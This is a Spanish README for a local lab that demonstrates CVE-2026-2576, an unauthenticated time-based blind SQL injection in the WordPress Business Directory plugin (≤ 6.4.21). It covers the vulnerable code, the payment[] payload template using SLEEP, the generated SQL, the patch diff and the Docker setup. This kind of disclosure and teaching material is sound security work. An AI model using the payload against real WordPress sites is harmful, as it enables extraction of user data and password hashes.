
CVE-2026-2576 — PoC de inyección SQLi en el plugin Business Directory (Configuración local). Inyección SQL ciega basada en tiempo sin autenticación en el plugin Business Directory para WordPress ≤ 6.4.21
Inyección SQL ciega basada en tiempo sin autenticación
Plugin Business Directory para WordPress ≤ 6.4.21
| Campo | Detalle |
|---|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Vendor | strategy11team |
| Afectado | Todas las versiones ≤ 6.4.21 |
| Parcheado | 6.4.22 |
| Tipo | Inyección SQL ciega basada en tiempo (CWE-89) |
| Autenticación | Ninguna — completamente sin autenticación |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Asignador | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgado | 18 de febrero de 2026 |
El plugin Business Directory es un plugin de WordPress ampliamente utilizado para crear
directorios de listados con soporte de pagos. Una falla en su constructor de consultas ORM
permite que un atacante sin autenticación realice inyección SQL ciega basada en tiempo a través del parámetro de consulta payment,
permitiendo la inferencia del contenido de la base de datos.
La vulnerabilidad reside en el constructor de consultas ORM:
Archivo: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNERABLE — sin saneamiento, concatenación directa de cadenas
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Seguro — usa $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Cuando $v es un escalar, el código usa correctamente $wpdb->prepare(). Cuando
$v es un array, cae en la rama insegura y concatena los valores
directamente en la cadena SQL sin escape alguno.
El controlador de pago (includes/controllers/pages/class-checkout.php)
lee el parámetro de solicitud payment y lo pasa al ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id se pasa como valor
);
}
PHP convierte automáticamente payment[]=value en la cadena de consulta en un
array $_GET['payment'] = ['value']. Esto obliga a que $v sea un array en
filter_args(), alcanzando la rama insegura.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← array debido a la notación []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → rama insegura
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
SQL generado:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
El -- - comenta el ') final. El IF() crea un oráculo booleano:
cuando la condición es VERDADERA, SLEEP(N) se ejecuta y la respuesta se
retrasa; cuando es FALSA, la respuesta es inmediata.
Nota: El ORM ejecuta la consulta dos veces por solicitud (una en get(), otra
en maybe_execute_query()), por lo que un payload SLEEP(1) produce ~2 segundos de
retraso observable, y SLEEP(2) produce ~4 segundos.
Un atacante sin autenticación puede inferir y extraer el contenido de la base de datos carácter por carácter mediante respuestas basadas en tiempo, incluyendo:
wp_users), nombres de usuario, direcciones de correo electrónico, hashes de contraseñasLa corrección en la versión 6.4.22 añade saneamiento a la rama de arrays de
filter_args():
// ANTES (vulnerable)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// DESPUÉS (parcheado)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Instalar dependencias de Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Espera hasta que veas:
╔══════════════════════════════════════════════════════════╗
║ ¡Configuración del laboratorio completada! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABLE) ║
║ ID de página BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Esperado: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"